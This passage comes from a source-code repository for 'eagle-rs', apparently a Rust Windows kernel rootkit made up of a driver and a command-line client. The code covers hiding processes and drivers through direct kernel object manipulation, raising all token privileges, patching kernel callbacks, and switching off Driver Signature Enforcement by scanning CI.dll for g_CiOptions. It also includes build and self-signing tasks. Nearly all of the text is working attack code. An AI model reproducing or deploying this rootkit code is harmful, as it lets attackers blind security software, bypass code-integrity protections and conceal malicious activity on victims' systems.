module_information[i].module_base, name); 258 | } 259 | } 260 | 261 | println!("[+] Loaded modules enumerated successfully"); 262 | } -------------------------------------------------------------------------------- /client/src/main.rs: -------------------------------------------------------------------------------- 1 | use sysinfo::{Pid, SystemExt, ProcessExt}; 2 | use winapi::um::{fileapi::{CreateFileA, OPEN_EXISTING}, winnt::{GENERIC_READ, GENERIC_WRITE, FILE_SHARE_READ, FILE_SHARE_WRITE}, handleapi::CloseHandle}; 3 | use std::{ffi::CString, ptr::null_mut}; 4 | mod kernel_interface; 5 | use clap::{Args, Parser, Subcommand, ArgGroup}; 6 | 7 | #[derive(Parser)] 8 | #[clap(author, version, about, long_about = None)] 9 | struct Cli { 10 | #[clap(subcommand)] 11 | command: Commands, 12 | } 13 | 14 | #[derive(Subcommand)] 15 | enum Commands { 16 | Process(Process), 17 | Callbacks(Callbacks), 18 | DSE(DSE), 19 | Driver(Driver), 20 | } 21 | 22 | #[derive(Args)] 23 | #[clap(group( 24 | ArgGroup::new("process") 25 | .required(true) 26 | .args(&["protect", "unprotect", "elevate", "hide"]), 27 | ))] 28 | struct Process { 29 | /// Target process name 30 | #[clap(long, short, value_name = "PROCESS")] 31 | name: String, 32 | 33 | /// Protect a process 34 | #[clap(long, short)] 35 | protect: bool, 36 | 37 | /// Unprotect a process 38 | #[clap(long, short)] 39 | unprotect: bool, 40 | 41 | /// Elevate all token privileges 42 | #[clap(long, short)] 43 | elevate: bool, 44 | 45 | /// Hide a process using Direct Kernel Object Manipulation (DKOM) 46 | #[clap(long)] 47 | hide: bool, 48 | } 49 | 50 | #[derive(Args)] 51 | #[clap(group( 52 | ArgGroup::new("callbacks") 53 | .required(true) 54 | .args(&["enumerate", "patch"]), 55 | ))] 56 | struct Callbacks { 57 | /// Enumerate kernel callbacks 58 | #[clap(long, short)] 59 | enumerate: bool, 60 | 61 | /// Patch kernel callbacks 0-63 62 | #[clap(long, short)] 63 | patch: Option, 64 | } 65 | 66 | #[derive(Args)] 67 | #[clap(group( 68 | ArgGroup::new("dse") 69 | .required(true) 70 | .args(&["enable", "disable"]), 71 | ))] 72 | struct DSE { 73 | /// Enable Driver Signature Enforcement (DSE) 74 | #[clap(long, short)] 75 | enable: bool, 76 | 77 | /// Disable Driver Signature Enforcement (DSE) 78 | #[clap(long, short)] 79 | disable: bool, 80 | } 81 | 82 | #[derive(Args)] 83 | #[clap(group( 84 | ArgGroup::new("driver") 85 | .required(true) 86 | .args(&["hide", "enumerate"]), 87 | ))] 88 | struct Driver { 89 | /// Hide a driver using Direct Kernel Object Manipulation (DKOM) 90 | #[clap(long)] 91 | hide: bool, 92 | 93 | /// Enumerate loaded kernel modules 94 | #[clap(long, short)] 95 | enumerate: bool, 96 | } 97 | 98 | fn main() { 99 | 100 | let cli = Cli::parse(); 101 | 102 | let file = CString::new("\\\\.\\Eagle").unwrap().into_raw() as *const i8; 103 | let driver_handle = unsafe { 104 | CreateFileA( 105 | file, 106 | GENERIC_READ | GENERIC_WRITE, 107 | FILE_SHARE_READ | FILE_SHARE_WRITE, 108 | null_mut(), 109 | OPEN_EXISTING, 110 | 0, 111 | null_mut()) 112 | }; 113 | 114 | if driver_handle.is_null() { 115 | panic!("[-] Failed to get a handle to the driver"); 116 | } 117 | 118 | match &cli.command { 119 | Commands::Process(p) => { 120 | let process_id = get_process_id_by_name(p.name.as_str()) as u32; 121 | 122 | if p.protect { 123 | kernel_interface::protect_process(process_id, driver_handle); 124 | } else if p.unprotect { 125 | kernel_interface::unprotect_process(process_id, driver_handle); 126 | } else if p.elevate { 127 | kernel_interface::enable_tokens(process_id, driver_handle); 128 | } else if p.hide { 129 | kernel_interface::hide_process(process_id, driver_handle); 130 | } else { 131 | println!("[-] Invalid arguments"); 132 | } 133 | } 134 | Commands::Callbacks(c) => { 135 | if c.enumerate { 136 | kernel_interface::enumerate_callbacks(driver_handle); 137 | } else if c.patch.unwrap() > 0 && c.patch.unwrap() < 64 { 138 | kernel_interface::patch_callback(c.patch.unwrap(), driver_handle); 139 | } else { 140 | println!("[-] Invalid arguments"); 141 | } 142 | } 143 | Commands::DSE(d) => { 144 | if d.enable { 145 | kernel_interface::enable_or_disable_dse(driver_handle, true); 146 | } else if d.disable { 147 | kernel_interface::enable_or_disable_dse(driver_handle, false); 148 | } else { 149 | println!("[-] Invalid arguments"); 150 | } 151 | } 152 | Commands::Driver(d) => { 153 | if d.hide { 154 | kernel_interface::hide_driver(driver_handle); 155 | } else if d.enumerate { 156 | kernel_interface::get_loaded_modules_list(driver_handle); 157 | } else { 158 | println!("[-] Invalid arguments"); 159 | } 160 | } 161 | } 162 | 163 | unsafe { CloseHandle(driver_handle) }; 164 | } 165 | 166 | /// Get process ID by name 167 | fn get_process_id_by_name(target_process: &str) -> Pid { 168 | let mut system = sysinfo::System::new(); 169 | system.refresh_all(); 170 | 171 | let mut process_id = 0; 172 | 173 | for process in system.process_by_name(target_process) { 174 | process_id = process.pid(); 175 | } 176 | 177 | return process_id; 178 | } -------------------------------------------------------------------------------- /cmd_hide1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/memN0ps/eagle-rs/da9a9d04b18fea58870aa1dbb71eaf977b923664/cmd_hide1.png -------------------------------------------------------------------------------- /cmd_hide2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/memN0ps/eagle-rs/da9a9d04b18fea58870aa1dbb71eaf977b923664/cmd_hide2.png -------------------------------------------------------------------------------- /common/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "common" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | winapi = { version = "0.3.9", features = ["processthreadsapi", "memoryapi", "winbase", "impl-default", "errhandlingapi", "fileapi", "winioctl"] } -------------------------------------------------------------------------------- /common/src/lib.rs: -------------------------------------------------------------------------------- 1 | #![no_std] 2 | 3 | extern crate alloc; 4 | use winapi::{um::winioctl::{FILE_DEVICE_UNKNOWN, METHOD_NEITHER, FILE_ANY_ACCESS}}; 5 | 6 | macro_rules! CTL_CODE { 7 | ($DeviceType:expr, $Function:expr, $Method:expr, $Access:expr) => { 8 | ($DeviceType << 16) | ($Access << 14) | ($Function << 2) | $Method 9 | } 10 | } 11 | 12 | pub const IOCTL_PROCESS_READ_REQUEST: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS); 13 | pub const IOCTL_PROCESS_WRITE_REQUEST: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x801, METHOD_NEITHER, FILE_ANY_ACCESS); 14 | pub const IOCTL_PROCESS_PROTECT_REQUEST: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS); 15 | pub const IOCTL_PROCESS_UNPROTECT_REQUEST: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS); 16 | pub const IOCTL_PROCESS_TOKEN_PRIVILEGES_REQUEST: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x804, METHOD_NEITHER, FILE_ANY_ACCESS); 17 | pub const IOCTL_PROCESS_HIDE_REQUEST: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x805, METHOD_NEITHER, FILE_ANY_ACCESS); 18 | 19 | pub const IOCTL_CALLBACKS_ENUM_REQUEST: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x806, METHOD_NEITHER, FILE_ANY_ACCESS); 20 | pub const IOCTL_CALLBACKS_ZERO_REQUEST: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x807, METHOD_NEITHER, FILE_ANY_ACCESS); 21 | 22 | pub const IOCTL_DSE_ENABLE_DISABLE_REQUEST: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x808, METHOD_NEITHER, FILE_ANY_ACCESS); 23 | 24 | pub const IOCTL_DRIVER_HIDE_REQUEST: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x809, METHOD_NEITHER, FILE_ANY_ACCESS); 25 | pub const IOCTL_DRIVER_ENUM_REQUEST: u32 = CTL_CODE!(FILE_DEVICE_UNKNOWN, 0x810, METHOD_NEITHER, FILE_ANY_ACCESS); 26 | 27 | 28 | #[repr(C)] 29 | #[derive(Debug, Clone, Copy)] 30 | pub struct TargetProcess { 31 | pub process_id: u32, 32 | } 33 | 34 | #[repr(C)] 35 | #[derive(Debug, Clone, Copy)] 36 | pub struct CallBackInformation { 37 | pub module_name: [u8; 256], 38 | pub pointer: u64, 39 | } 40 | 41 | /* 42 | impl Default for CallBackInformation { 43 | fn default() -> Self { 44 | Self { 45 | module_name: [0u8; 256], 46 | pointer: 0, 47 | } 48 | } 49 | }*/ 50 | 51 | pub struct TargetCallback { 52 | pub index: u32 53 | } 54 | 55 | pub struct DriverSignatureEnforcement { 56 | pub address: u64, 57 | pub is_enabled: bool, 58 | } 59 | 60 | #[derive(Debug, Clone)] 61 | pub struct ModuleInformation { 62 | pub module_base: usize, 63 | pub module_name: [u16; 256], 64 | } -------------------------------------------------------------------------------- /driver/.cargo/config.toml: -------------------------------------------------------------------------------- 1 | [build] 2 | target = "x86_64-pc-windows-msvc" 3 | 4 | rustflags = [ 5 | "-C", "panic=abort", 6 | 7 | # Pre Link Args 8 | "-Z", "pre-link-arg=/NOLOGO", 9 | "-Z", "pre-link-arg=/NXCOMPAT", 10 | "-Z", "pre-link-arg=/NODEFAULTLIB", 11 | "-Z", "pre-link-arg=/SUBSYSTEM:NATIVE", 12 | "-Z", "pre-link-arg=/DRIVER", 13 | "-Z", "pre-link-arg=/DYNAMICBASE", 14 | "-Z", "pre-link-arg=/MANIFEST:NO", 15 | "-Z", "pre-link-arg=/PDBALTPATH:none", 16 | 17 | # Post Link Args 18 | "-C", "link-arg=/OPT:REF,ICF", 19 | "-C", "link-arg=/ENTRY:driver_entry", 20 | "-C", "link-arg=/MERGE:.edata=.rdata", 21 | "-C", "link-arg=/MERGE:.rustc=.data", 22 | "-C", "link-arg=/INTEGRITYCHECK" 23 | ] -------------------------------------------------------------------------------- /driver/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "driver" 3 | version = "0.1.0" 4 | edition = "2021" 5 | build = "build.rs" 6 | 7 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 8 | 9 | [lib] 10 | path = "src/lib.rs" 11 | crate-type = ["cdylib"] 12 | 13 | [profile.dev] 14 | panic = "abort" 15 | 16 | [profile.release] 17 | panic = "abort" 18 | 19 | [dependencies] 20 | ntapi = { version = "0.3.7", default-features = false} 21 | log = "0.4.16" 22 | bstr = { version = "0.2.17", default-features = false} 23 | kernel-log = "0.1.1" 24 | kernel-print = "0.1.0" 25 | kernel-alloc = "0.1.0" 26 | obfstr = "0.3.0" 27 | modular-bitfield = "0.11.2" 28 | common = { path = "../common" } 29 | 30 | [dependencies.winapi] 31 | git = "https://github.com/Trantect/winapi-rs.git" 32 | branch = "feature/km" 33 | features = [ 34 | "wdm", 35 | "ntstatus", 36 | ] 37 | 38 | [build-dependencies] 39 | winreg = "0.10.1" 40 | failure = "0.1.8" -------------------------------------------------------------------------------- /driver/Makefile.toml: -------------------------------------------------------------------------------- 1 | [env.development] 2 | TARGET_PATH = "../target/x86_64-pc-windows-msvc/debug" 3 | 4 | [env.production] 5 | TARGET_PATH = "../target/x86_64-pc-windows-msvc/release" 6 | BUILD_FLAGS = "--release" 7 | 8 | [tasks.build-driver] 9 | script = [ 10 | "cargo b %BUILD_FLAGS%" 11 | ] 12 | 13 | [tasks.rename] 14 | dependencies = ["build-driver"] 15 | ignore_errors = true 16 | script = [ 17 | "cd %TARGET_PATH%", 18 | "rename driver.dll Eagle.sys", 19 | ] 20 | 21 | [tasks.sign] 22 | dependencies = ["build-driver", "rename"] 23 | script = [ 24 | # Load the Visual Studio Developer environment 25 | "call \"%ProgramFiles(x86)%\\Microsoft Visual Studio\\2019\\Community\\VC\\Auxiliary\\Build\\vcvars64.bat\"", 26 | 27 | # Create a self signed certificate (only if not already done) 28 | "if not exist DriverCertificate.cer ( makecert -r -pe -ss PrivateCertStore -n CN=DriverCertificate DriverCertificate.cer ) else ( echo Certificate already exists. )", 29 | 30 | # Sign the driver 31 | "signtool sign /a /v /s PrivateCertStore /n DriverCertificate /fd certHash /t http://timestamp.digicert.com %TARGET_PATH%/Eagle.sys" 32 | ] -------------------------------------------------------------------------------- /driver/build.rs: -------------------------------------------------------------------------------- 1 | use failure::{format_err, Error}; 2 | use std::{ 3 | env::var, 4 | path::{Path, PathBuf}, 5 | }; 6 | use winreg::{enums::*, RegKey}; 7 | 8 | /// Returns the path to the `Windows Kits` directory. It's by default at 9 | /// `C:\Program Files (x86)\Windows Kits\10`. 10 | fn get_windows_kits_dir() -> Result { 11 | let hklm = RegKey::predef(HKEY_LOCAL_MACHINE); 12 | let key = r"SOFTWARE\Microsoft\Windows Kits\Installed Roots"; 13 | let dir: String = hklm.open_subkey(key)?.get_value("KitsRoot10")?; 14 | 15 | Ok(dir.into()) 16 | } 17 | 18 | /// Returns the path to the kernel mode libraries. The path may look like this: 19 | /// `C:\Program Files (x86)\Windows Kits\10\lib\10.0.18362.0\km`. 20 | fn get_km_dir(windows_kits_dir: &PathBuf) -> Result { 21 | let readdir = Path::new(windows_kits_dir).join("lib").read_dir()?; 22 | 23 | let max_libdir = readdir 24 | .filter_map(|dir| dir.ok()) 25 | .map(|dir| dir.path()) 26 | .filter(|dir| { 27 | dir.components() 28 | .last() 29 | .and_then(|c| c.as_os_str().to_str()) 30 | .map(|c| c.starts_with("10.") && dir.join("km").is_dir()) 31 | .unwrap_or(false) 32 | }) 33 | .max() 34 | .ok_or_else(|| format_err!("Can not find a valid km dir in `{:?}`", windows_kits_dir))?; 35 | 36 | Ok(max_libdir.join("km")) 37 | } 38 | 39 | fn internal_link_search() { 40 | let windows_kits_dir = get_windows_kits_dir().unwrap(); 41 | let km_dir = get_km_dir(&windows_kits_dir).unwrap(); 42 | let target = var("TARGET").unwrap(); 43 | 44 | let arch = if target.contains("x86_64") { 45 | "x64" 46 | } else if target.contains("i686") { 47 | "x86" 48 | } else { 49 | panic!("Only support x86_64 and i686!"); 50 | }; 51 | 52 | let lib_dir = km_dir.join(arch); 53 | println!("cargo:rustc-link-search=native={}", lib_dir.to_str().unwrap()); 54 | println!("cargo:rustc-link-lib=msvcrt"); 55 | } 56 | 57 | fn extra_link_search() {} 58 | 59 | fn main() { 60 | if var(format!("CARGO_FEATURE_{}", "extra_link_search".to_uppercase())).is_ok() { 61 | extra_link_search() 62 | } else { 63 | internal_link_search() 64 | } 65 | } -------------------------------------------------------------------------------- /driver/src/callbacks/mod.rs: -------------------------------------------------------------------------------- 1 | use core::{ptr::{slice_from_raw_parts, null_mut}, mem::size_of, intrinsics::copy_nonoverlapping}; 2 | use alloc::{string::String}; 3 | use common::CallBackInformation; 4 | use kernel_alloc::nt::{ExAllocatePool}; 5 | use winapi::{shared::{ntdef::{HANDLE, BOOLEAN, NTSTATUS, NT_SUCCESS}, ntstatus::{STATUS_SUCCESS}}, km::wdm::{PEPROCESS}, um::winnt::RtlZeroMemory, ctypes::c_void}; 6 | use crate::includes::{PSCreateNotifyInfo, AuxKlibInitialize, AuxKlibQueryModuleInformation, AuxModuleExtendedInfo, strlen}; 7 | 8 | #[allow(non_snake_case)] 9 | pub type PcreateProcessNotifyRoutineEx = extern "system" fn(process: PEPROCESS, process_id: HANDLE, create_info: *mut PSCreateNotifyInfo); 10 | //type PcreateProcessNotifyRoutine = extern "system" fn(ParentId: HANDLE, ProcessId: HANDLE, Create: BOOLEAN); 11 | //type PcreateThreadNotifyRoutine = extern "system" fn(ProcessId: HANDLE, ThreadId: HANDLE, Create: BOOLEAN); 12 | //type PloadImageNotifyRoutine = extern "system" fn(FullImageName: PUNICODE_STRING, ProcessId: HANDLE , ImageInfo: *mut IMAGE_INFO); 13 | 14 | extern "system" { 15 | #[allow(non_snake_case)] 16 | pub fn PsSetCreateProcessNotifyRoutineEx(notify_routine: PcreateProcessNotifyRoutineEx, remove: BOOLEAN) -> NTSTATUS; 17 | //pub fn PsSetCreateProcessNotifyRoutine(notify_routine: PcreateProcessNotifyRoutine, remove: BOOLEAN) -> NTSTATUS; 18 | //pub fn PsSetCreateThreadNotifyRoutine(notify_routine: PcreateThreadNotifyRoutine) -> NTSTATUS; 19 | //pub fn PsSetLoadImageNotifyRoutine(notify_routine: PloadImageNotifyRoutine) -> NTSTATUS; 20 | } 21 | 22 | #[allow(non_snake_case)] 23 | pub extern "system" fn process_create_callback(_process: PEPROCESS, process_id: HANDLE, create_info: *mut PSCreateNotifyInfo) { 24 | if !create_info.is_null() { 25 | let file_open = unsafe { (*create_info).param0.param0.file_open_available }; 26 | 27 | if file_open != 0 { 28 | let p_str = unsafe { *(*create_info).image_file_name }; 29 | let slice = unsafe { &*slice_from_raw_parts(p_str.Buffer, p_str.Length as usize / 2) } ; 30 | let process_name = String::from_utf16(slice).unwrap(); 31 | let process_id = process_id as u32; 32 | log::info!("Process Created: {:?} ({:?})", process_name, process_id); 33 | } 34 | } 35 | } 36 | 37 | /* 38 | PsSetCreateProcessNotifyRoutineEx: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex 39 | PsSetCreateProcessNotifyRoutine: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutine 40 | PsSetCreateThreadNotifyRoutine: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutine 41 | PsSetLoadImageNotifyRoutine: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetloadimagenotifyroutine 42 | 43 | PcreateProcessNotifyRoutineEx: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nc-ntddk-pcreate_process_notify_routine_ex 44 | PcreateProcessNotifyRoutine: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nc-ntddk-pcreate_process_notify_routine 45 | PcreateThreadNotifyRoutine: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nc-ntddk-pcreate_thread_notify_routine 46 | PloadImageNotifyRoutine: https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nc-ntddk-pload_image_notify_routine 47 | */ 48 | 49 | 50 | /* 51 | AuxKlibInitialize: https://docs.microsoft.com/en-us/windows/win32/devnotes/auxklibinitialize-func 52 | AuxKlibQueryModuleInformation: https://docs.microsoft.com/en-us/windows/win32/devnotes/auxklibquerymoduleinformation-func 53 | */ 54 | 55 | /// Return a pointer and number of loaded modules 56 | pub fn get_loaded_modules() -> Option<(*mut AuxModuleExtendedInfo, u32)> { 57 | let status = unsafe { AuxKlibInitialize() }; 58 | 59 | if !NT_SUCCESS(status) { 60 | log::error!("Failed to call AuxKlibInitialize ({:#x})", status); 61 | return None; 62 | } 63 | 64 | let mut buffer_size: u32 = 0; 65 | 66 | let status = unsafe { AuxKlibQueryModuleInformation(&mut buffer_size, size_of::() as u32, null_mut()) }; 67 | 68 | if !NT_SUCCESS(status) { 69 | log::error!("1st AuxKlibQueryModuleInformation failed ({:#x})", status); 70 | return None; 71 | } 72 | 73 | let mod_ptr = unsafe { ExAllocatePool(kernel_alloc::nt::PoolType::NonPagedPool, buffer_size as usize) as *mut c_void }; 74 | 75 | if mod_ptr.is_null() { 76 | return None; 77 | } 78 | 79 | unsafe { RtlZeroMemory(mod_ptr, buffer_size as usize) }; 80 | 81 | let status = unsafe { AuxKlibQueryModuleInformation(&mut buffer_size, size_of::() as u32, mod_ptr) }; 82 | 83 | if !NT_SUCCESS(status) { 84 | log::error!("2nd AuxKlibQueryModuleInformation failed ({:#x})", status); 85 | return None; 86 | } 87 | 88 | let number_of_modules = buffer_size / size_of::() as u32; 89 | let module = mod_ptr as *mut AuxModuleExtendedInfo; 90 | 91 | log::info!("Address of Modules: {:?}, Number of Modules: {:?}", module, number_of_modules); 92 | 93 | return Some((module, number_of_modules)); 94 | } 95 | 96 | /// Search the loaded modules (kernel callbacks) 97 | pub fn search_loaded_modules(modules: *mut AuxModuleExtendedInfo, number_of_modules: u32, module_info: *mut CallBackInformation) -> NTSTATUS { 98 | 99 | for i in 0..number_of_modules { 100 | let start_address = unsafe { (*modules.offset(i as isize)).basic_info.image_base }; 101 | let image_size = unsafe { (*modules.offset(i as isize)).image_size }; 102 | 103 | let end_address = start_address as u64 + image_size as u64; 104 | let raw_pointer = unsafe { *(((*module_info).pointer & 0xfffffffffffffff8) as *mut u64) }; 105 | 106 | if raw_pointer > start_address as u64 && raw_pointer < end_address { 107 | let dst = unsafe { (*module_info).module_name.as_mut() }; 108 | 109 | let src = unsafe { 110 | (*modules.offset(i as isize)).full_path_name.as_mut_ptr().offset((*modules.offset(i as isize)).file_name_offset as isize) 111 | }; 112 | 113 | unsafe { copy_nonoverlapping(src, dst.as_mut_ptr(), strlen(src as *const i8)) }; 114 | break; 115 | } 116 | } 117 | 118 | return STATUS_SUCCESS; 119 | } -------------------------------------------------------------------------------- /driver/src/dse/mod.rs: -------------------------------------------------------------------------------- 1 | use core::{ptr::{null_mut}, ffi::CStr}; 2 | use alloc::{string::{String, ToString}, collections::BTreeMap}; 3 | use bstr::ByteSlice; 4 | use kernel_alloc::nt::{ExAllocatePool, ExFreePool}; 5 | use winapi::{shared::{ntdef::{NT_SUCCESS}}, ctypes::c_void, um::winnt::{RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_NT_HEADERS64, IMAGE_NT_SIGNATURE, IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_EXPORT_DIRECTORY}}; 6 | 7 | use crate::{includes::SystemInformationClass, includes::SystemModuleInformation, includes::ZwQuerySystemInformation}; 8 | 9 | pub fn get_module_base(module_name: &[u8]) -> *mut c_void { 10 | 11 | let mut bytes = 0; 12 | 13 | // Get buffer size 14 | let _status = unsafe { ZwQuerySystemInformation( 15 | SystemInformationClass::SystemModuleInformation, 16 | null_mut(), 17 | 0, 18 | &mut bytes 19 | ) 20 | }; 21 | 22 | /* Error check will fail and that is intentional to get the buffer size 23 | if !NT_SUCCESS(status) { 24 | log::error!("[-] 1st ZwQuerySystemInformation failed {:?}", status); 25 | return null_mut(); 26 | } */ 27 | 28 | let module_info = unsafe { 29 | ExAllocatePool(kernel_alloc::nt::PoolType::NonPagedPool, bytes as usize) as *mut SystemModuleInformation 30 | }; 31 | 32 | if module_info.is_null() { 33 | log::error!("[-] ExAllocatePool failed"); 34 | return null_mut(); 35 | } 36 | 37 | unsafe { RtlZeroMemory( module_info as *mut c_void, bytes as usize) }; 38 | 39 | let status = unsafe { ZwQuerySystemInformation( 40 | SystemInformationClass::SystemModuleInformation, 41 | module_info as *mut c_void, 42 | bytes, 43 | &mut bytes) 44 | }; 45 | 46 | if !NT_SUCCESS(status) { 47 | log::info!("[-] 2nd ZwQuerySystemInformation failed {:#x}", status); 48 | return null_mut(); 49 | } 50 | 51 | 52 | let mut p_module: *mut c_void = null_mut(); 53 | log::info!("Module count: {:?}", unsafe { (*module_info).modules_count as usize }); 54 | 55 | for i in unsafe { 0..(*module_info).modules_count as usize } { 56 | 57 | let image_name = unsafe { (*module_info).modules[i].image_name }; 58 | let image_base = unsafe { (*module_info).modules[i].image_base }; 59 | 60 | //log::info!("[+] Module name: {:?} and module base: {:?}", image_name.as_bstr(), image_base); 61 | 62 | if let Some(_) = image_name.find(module_name) { 63 | //log::info!("[+] Module name: {:?} and module base: {:?}", image_name, image_base); 64 | p_module = image_base; 65 | break; 66 | } 67 | } 68 | 69 | unsafe { ExFreePool(module_info as u64) }; 70 | 71 | return p_module; 72 | } 73 | 74 | 75 | pub fn get_gci_options_address() -> Option<*mut c_void> { 76 | 77 | #[allow(unused_assignments)] 78 | let mut g_ci_options = null_mut(); 79 | 80 | 81 | let module_base = get_module_base(b"CI.dll"); 82 | let ci_initialize_ptr = get_function_address(module_base, "CiInitialize") as *mut c_void; 83 | 84 | let func_slice: &[u8] = unsafe { 85 | core::slice::from_raw_parts(ci_initialize_ptr as *const u8, 0x89) //mov rbx,qword ptr [rsp+30h] : (after call CI!CipInitialize) 86 | }; 87 | 88 | //before: call CI!CipInitialize 89 | let needle = [ 90 | 0x8b, 0xcd, // mov ecx,ebp 91 | ]; 92 | 93 | if let Some(y) = func_slice.windows(needle.len()).position(|x| *x == needle) { 94 | let position = y + 3; 95 | let offset_slice = &func_slice[position..position + 4]; //u32::from_le_bytes takes 4 slices 96 | let offset = u32::from_le_bytes(offset_slice.try_into().unwrap()); 97 | 98 | //log::info!("Offset: {:#x}", offset); 99 | let new_base = unsafe { ci_initialize_ptr.cast::().offset((position + 4) as isize) }; 100 | //log::info!("new_base: {:?}", new_base); 101 | let c_ip_initialize = unsafe { new_base.cast::().offset(offset as isize) }; 102 | log::info!("c_ip_initialize: {:?}", c_ip_initialize); 103 | 104 | 105 | // Inside CI!CipInitialize 106 | 107 | let needle = [ 108 | 0x49, 0x8b, 0xe9, // mov rbp,r9 109 | ]; 110 | 111 | let c_ip_initialize_slice: &[u8] = unsafe { 112 | core::slice::from_raw_parts(c_ip_initialize as *const u8, 0x21) //mov rbx,r8 : (after mov dword ptr [CI!g_CiOptions]) 113 | }; 114 | 115 | if let Some(i) = c_ip_initialize_slice.windows(needle.len()).position(|x| *x == needle) { 116 | let position = i + 5; 117 | 118 | let offset_slice = &c_ip_initialize_slice[position..position + 4]; //u32::from_le_bytes takes 4 slices 119 | let offset = u32::from_le_bytes(offset_slice.try_into().unwrap()); 120 | let new_offset = 0xffffffff00000000 + offset as u64; 121 | log::info!("Offset: {:#x}", offset); 122 | 123 | 124 | let new_base = unsafe { c_ip_initialize.cast::().offset((position + 4) as isize) }; 125 | g_ci_options = unsafe { new_base.cast::().offset(new_offset as isize) }; 126 | 127 | log::info!("g_CiOptions: {:?}", g_ci_options); 128 | 129 | return Some(g_ci_options as *mut c_void); 130 | } 131 | } 132 | return None; 133 | } 134 | 135 | pub fn get_function_address(module: *mut c_void, function_name: &str) -> usize { 136 | let mut function_ptr = 0; 137 | 138 | //Get the names and addresses of functions the dll 139 | for (name, addr) in unsafe { get_module_exports(module).unwrap() } { 140 | if name == function_name { 141 | //log::info!("[+] Function: {:?} Address {:#x}", name, addr); 142 | function_ptr = addr; 143 | break; 144 | } 145 | } 146 | 147 | return function_ptr; 148 | } 149 | 150 | /// Retrieves all function and addresses from the specfied modules 151 | unsafe fn get_module_exports(module_base: *mut c_void) -> Option> { 152 | let mut exports = BTreeMap::new(); 153 | let dos_header = *(module_base as *mut IMAGE_DOS_HEADER); 154 | 155 | if dos_header.e_magic != IMAGE_DOS_SIGNATURE { 156 | log::info!("Error: get_module_exports failed, DOS header is invalid"); 157 | return None; 158 | } 159 | 160 | let nt_header = 161 | (module_base as usize + dos_header.e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; 162 | 163 | if (*nt_header).Signature != IMAGE_NT_SIGNATURE { 164 | log::info!("Error: get_module_exports failed, NT header is invalid"); 165 | return None; 166 | } 167 | 168 | let export_directory = (module_base as usize 169 | + (*nt_header).OptionalHeader.DataDirectory 170 | [IMAGE_DIRECTORY_ENTRY_EXPORT as usize] 171 | .VirtualAddress as usize) 172 | as *mut IMAGE_EXPORT_DIRECTORY; 173 | 174 | let names = core::slice::from_raw_parts( 175 | (module_base as usize + (*export_directory).AddressOfNames as usize) 176 | as *const u32, 177 | (*export_directory).NumberOfNames as _, 178 | ); 179 | 180 | let functions = core::slice::from_raw_parts( 181 | (module_base as usize + (*export_directory).AddressOfFunctions as usize) 182 | as *const u32, 183 | (*export_directory).NumberOfFunctions as _, 184 | ); 185 | 186 | let ordinals = core::slice::from_raw_parts( 187 | (module_base as usize + (*export_directory).AddressOfNameOrdinals as usize) 188 | as *const u16, 189 | (*export_directory).NumberOfNames as _, 190 | ); 191 | 192 | //log::info!("[+] Module Base: {:?} Export Directory: {:?} AddressOfNames: {names:p}, AddressOfFunctions: {functions:p}, AddressOfNameOrdinals: {ordinals:p} ", module_base, export_directory); 193 | 194 | for i in 0..(*export_directory).NumberOfNames { 195 | 196 | let name = (module_base as usize + names[i as usize] as usize) as *const i8; 197 | 198 | if let Ok(name) = CStr::from_ptr(name).to_str() { 199 | 200 | let ordinal = ordinals[i as usize] as usize; 201 | 202 | exports.insert( 203 | name.to_string(), 204 | module_base as usize + functions[ordinal] as usize, 205 | ); 206 | } 207 | } 208 | return Some(exports); 209 | } 210 | 211 | /* 212 | 0: kd> u CI!CiInitialize 213 | CI!CiInitialize: 214 | fffff800`5a673400 48895c2408 mov qword ptr [rsp+8],rbx 215 | fffff800`5a673405 48896c2410 mov qword ptr [rsp+10h],rbp 216 | fffff800`5a67340a 4889742418 mov qword ptr [rsp+18h],rsi 217 | fffff800`5a67340f 57 push rdi 218 | fffff800`5a673410 4883ec20 sub rsp,20h 219 | fffff800`5a673414 498bd9 mov rbx,r9 220 | fffff800`5a673417 498bf8 mov rdi,r8 221 | fffff800`5a67341a 488bf2 mov rsi,rdx 222 | 0: kd> u 223 | CI!CiInitialize+0x1d: 224 | fffff800`5a67341d 8be9 mov ebp,ecx 225 | fffff800`5a67341f e8e46b0800 call CI!wil_InitializeFeatureStaging (fffff800`5a6fa008) 226 | fffff800`5a673424 e8ff6d0800 call CI!_security_init_cookie (fffff800`5a6fa228) 227 | fffff800`5a673429 488b0d5848ffff mov rcx,qword ptr 